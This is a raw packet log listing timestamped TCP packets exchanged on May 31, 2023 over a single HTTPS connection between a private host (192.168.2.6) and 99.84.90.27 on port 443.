May 31, 2023 12:22:22.030282021 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030309916 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030371904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030397892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030492067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030571938 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030608892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030669928 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.030704975 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031224966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031255007 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031347036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031347036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031363964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031431913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031440020 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031485081 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031497002 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031510115 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031547070 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031584024 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031591892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031606913 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031626940 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031661034 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031666994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031689882 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031712055 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031743050 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031769991 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031775951 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031821966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031827927 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031842947 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031867027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031888962 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031893969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031920910 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.031946898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.031977892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032004118 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032010078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032052040 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032062054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032084942 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032119989 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032125950 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032157898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032165051 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032198906 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032227993 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032233953 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032300949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032306910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032334089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032368898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032376051 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032402039 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032411098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032447100 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032471895 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032478094 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032527924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032531023 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032541990 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032562017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032603979 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032610893 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032639980 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032643080 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032675982 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032713890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032720089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032763004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032785892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032841921 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032854080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.032866955 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.032919884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033006907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033057928 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033099890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033108950 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033145905 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033199072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033299923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033308983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033518076 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033611059 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033613920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033632994 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033657074 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033699036 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033708096 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033721924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033747911 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033783913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033791065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033808947 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033869982 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033878088 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033895969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033925056 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.033966064 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.033973932 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034007072 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034015894 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034030914 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034054041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034061909 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034117937 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034122944 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034154892 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034158945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034173012 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034209013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034252882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034260035 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034266949 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034296989 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034327984 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034333944 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034372091 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034375906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034405947 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034497023 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034532070 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034576893 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034585953 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034600973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034605026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034636974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034643888 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034703016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034708977 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034738064 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034754992 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034761906 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034776926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034791946 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034832954 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034837961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034864902 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034897089 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034933090 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.034939051 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034981012 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.034981012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035008907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035036087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035042048 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035096884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035099983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035115957 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035150051 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035167933 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035175085 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035212994 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035232067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035254002 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035295963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035301924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035345078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035351038 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035370111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035409927 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035415888 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035454035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035459995 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035480022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035485983 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035495996 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035542965 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035581112 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035593033 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035598993 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035624027 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035626888 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035666943 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035672903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035689116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035702944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035712957 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035746098 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035752058 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035784960 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035795927 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035809994 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035815001 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035852909 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035862923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035868883 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035886049 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035913944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035960913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.035962105 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.035978079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036024094 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036046028 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036072969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036115885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036120892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036149025 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036150932 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036186934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036216021 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036221027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036253929 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036282063 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036297083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036312103 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036320925 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036358118 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036364079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036392927 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036400080 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036420107 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036426067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036438942 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036464930 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036516905 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036533117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036559105 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036602974 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036607981 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036643982 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036669016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036669016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036686897 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036709070 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036716938 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036772966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036808968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036838055 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036880016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036887884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036909103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036914110 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036941051 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.036952019 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036969900 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.036988020 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037040949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037055969 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037113905 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037153959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037182093 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037224054 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037230015 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037260056 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037333012 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037373066 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037400007 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037405968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037445068 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037504911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037530899 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037574053 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037580967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037607908 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037674904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037710905 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037744999 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037750959 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037782907 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037811995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037837029 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037870884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037878036 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.037911892 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.037967920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038007021 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038034916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038041115 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038060904 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038064003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038091898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038127899 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038134098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038175106 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038198948 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038233042 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038260937 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038266897 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038297892 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038306952 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038311958 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038335085 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038352013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038405895 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038407087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038420916 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038440943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038477898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038482904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038516045 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038530111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038538933 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038542986 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038563967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038594961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038599968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038647890 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038665056 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038702011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038737059 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038743019 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038775921 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038778067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038806915 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038851023 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038856983 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038908958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038918018 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038933039 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038954020 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.038988113 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.038994074 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039031029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039077044 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039103985 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039149046 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039155006 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039191008 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039199114 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039221048 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039253950 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039259911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039309025 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039331913 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039381027 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039433956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039463043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039508104 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039518118 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039547920 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039556026 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039596081 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039623022 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039629936 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039670944 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039695024 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039724112 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039760113 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039767981 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039807081 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:22.039824963 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:22.039860964 CEST	443	49711	99.84.90.27	192.168.2.6
